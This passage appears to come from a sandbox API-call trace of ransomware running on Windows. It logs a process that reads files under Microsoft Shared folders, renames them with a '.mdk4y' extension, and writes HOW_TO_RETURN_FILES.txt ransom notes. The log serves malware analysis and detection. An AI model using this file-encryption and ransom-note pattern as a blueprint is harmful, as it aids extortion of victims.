lpMultiByteStr="WTSP61MS.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0123.446] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0123.446] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819867600000) returned 1 [0123.446] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x36000, lpOverlapped=0x0) returned 1 [0123.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819869300000) returned 1 [0123.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819869300000) returned 1 [0123.465] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll.mdk4y")) returned 1 [0123.466] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0123.466] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0123.466] AreFileApisANSI () returned 1 [0123.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0123.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0123.466] GetFileType (hFile=0x12c) returned 0x1 [0123.467] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0123.467] AreFileApisANSI () returned 1 [0123.467] GetACP () returned 0x4e4 [0123.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Triedit", cchWideChar=7, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="TrieditT", lpUsedDefaultChar=0x37dfd8) returned 7 [0123.467] AreFileApisANSI () returned 1 [0123.467] GetACP () returned 0x4e4 [0123.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=55, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\h֠j\x04") returned 55 [0123.468] AreFileApisANSI () returned 1 [0123.468] GetACP () returned 0x4e4 [0123.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\TRANSLAT\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0123.468] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0123.468] AreFileApisANSI () returned 1 [0123.468] GetACP () returned 0x4e4 [0123.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\TRANSLAT\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0123.468] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0123.468] AreFileApisANSI () returned 1 [0123.468] GetACP () returned 0x4e4 [0123.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="en-USiles\\Microsoft Shared\\TRANSLAT\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 5 [0123.468] AreFileApisANSI () returned 1 [0123.468] GetACP () returned 0x4e4 [0123.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\7㖙ĺ?") returned 61 [0123.469] AreFileApisANSI () returned 1 [0123.469] GetACP () returned 0x4e4 [0123.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0123.469] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0123.469] AreFileApisANSI () returned 1 [0123.469] GetACP () returned 0x4e4 [0123.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0123.469] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0123.469] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0123.469] AreFileApisANSI () returned 1 [0123.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7ae0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0123.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0123.470] GetFileType (hFile=0x130) returned 0x1 [0123.470] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0123.470] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0123.471] AreFileApisANSI () returned 1 [0123.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0123.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0123.471] GetFileType (hFile=0x12c) returned 0x1 [0123.472] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0123.472] AreFileApisANSI () returned 1 [0123.472] GetACP () returned 0x4e4 [0123.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=3, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="VBAedit", lpUsedDefaultChar=0x37dfd8) returned 3 [0123.472] AreFileApisANSI () returned 1 [0123.472] GetACP () returned 0x4e4 [0123.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\h") returned 51 [0123.473] AreFileApisANSI () returned 1 [0123.473] GetACP () returned 0x4e4 [0123.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\Triedit\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0123.473] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0123.473] AreFileApisANSI () returned 1 [0123.473] GetACP () returned 0x4e4 [0123.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\Triedit\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0123.473] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0123.473] AreFileApisANSI () returned 1 [0123.473] GetACP () returned 0x4e4 [0123.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VBA7", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VBA7Files\\Microsoft Shared\\Triedit\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 4 [0123.473] AreFileApisANSI () returned 1 [0123.473] GetACP () returned 0x4e4 [0123.473] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=56, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\툐i4") returned 56 [0123.473] AreFileApisANSI () returned 1 [0123.473] GetACP () returned 0x4e4 [0123.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\Triedit\\en-US\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dec0) returned 1 [0123.473] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0123.473] AreFileApisANSI () returned 1 [0123.473] GetACP () returned 0x4e4 [0123.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\Triedit\\en-US\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dec0) returned 2 [0123.473] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0123.473] AreFileApisANSI () returned 1 [0123.473] GetACP () returned 0x4e4 [0123.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1033Files\\Microsoft Shared\\Triedit\\en-US\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dec0) returned 4 [0123.474] AreFileApisANSI () returned 1 [0123.474] GetACP () returned 0x4e4 [0123.474] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d2a0, cbMultiByte=61, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\7㖙ĺ?") returned 61 [0123.498] AreFileApisANSI () returned 1 [0123.498] GetACP () returned 0x4e4 [0123.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 1 [0123.498] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0123.498] AreFileApisANSI () returned 1 [0123.498] GetACP () returned 0x4e4 [0123.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 2 [0123.498] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0123.498] AreFileApisANSI () returned 1 [0123.498] GetACP () returned 0x4e4 [0123.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FM20.CHM", cchWideChar=8, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="FM20.CHM8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 8 [0123.498] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0123.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819872900000) returned 1 [0123.499] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x51a5b, lpOverlapped=0x0) returned 1 [0123.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819879500000) returned 1 [0123.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819879500000) returned 1 [0123.569] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.mdk4y")) returned 1 [0123.569] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0123.569] AreFileApisANSI () returned 1 [0123.569] GetACP () returned 0x4e4 [0123.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VBCN6.CHM", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VBCN6.CHMZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 9 [0123.569] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0123.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819880000000) returned 1 [0123.570] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x1ac96, lpOverlapped=0x0) returned 1 [0123.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819881600000) returned 1 [0123.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819881600000) returned 1 [0123.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.mdk4y")) returned 1 [0123.587] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0123.587] AreFileApisANSI () returned 1 [0123.587] GetACP () returned 0x4e4 [0123.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VBE7INTL.DLL", cchWideChar=12, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VBE7INTL.DLLN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 12 [0123.588] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0123.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819884800000) returned 1 [0123.618] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x25d50, lpOverlapped=0x0) returned 1 [0123.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819886900000) returned 1 [0123.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819886900000) returned 1 [0123.641] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll.mdk4y")) returned 1 [0123.641] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0123.641] AreFileApisANSI () returned 1 [0123.641] GetACP () returned 0x4e4 [0123.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VBENDF98.CHM", cchWideChar=12, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VBENDF98.CHM", lpUsedDefaultChar=0x37de34) returned 12 [0123.642] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0123.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819887300000) returned 1 [0123.643] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x1195f, lpOverlapped=0x0) returned 1 [0123.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819889100000) returned 1 [0123.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819889100000) returned 1 [0123.662] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.mdk4y")) returned 1 [0123.662] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0123.663] AreFileApisANSI () returned 1 [0123.663] GetACP () returned 0x4e4 [0123.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VBHW6.CHM", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VBHW6.CHMCHM", lpUsedDefaultChar=0x37de34) returned 9 [0123.663] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0123.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819889300000) returned 1 [0123.663] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xe2aa, lpOverlapped=0x0) returned 1 [0123.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819894400000) returned 1 [0123.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819894400000) returned 1 [0123.715] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.mdk4y")) returned 1 [0123.717] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0123.717] AreFileApisANSI () returned 1 [0123.717] GetACP () returned 0x4e4 [0123.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VBLR6.CHM", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VBLR6.CHM", lpUsedDefaultChar=0x37de34) returned 9 [0123.717] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0123.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819894700000) returned 1 [0123.717] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xe6b62, lpOverlapped=0x0) returned 1 [0123.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819901700000) returned 1 [0123.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1819901700000) returned 1 [0123.796] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.mdk4y")) returned 1 [0123.796] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0123.796] AreFileApisANSI () returned 1 [0123.796] GetACP () returned 0x4e4 [0123.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VBOB6.CHM", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VBOB6.CHM", lpUsedDefaultChar=0x37de34) returned 9 [0123.796] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program 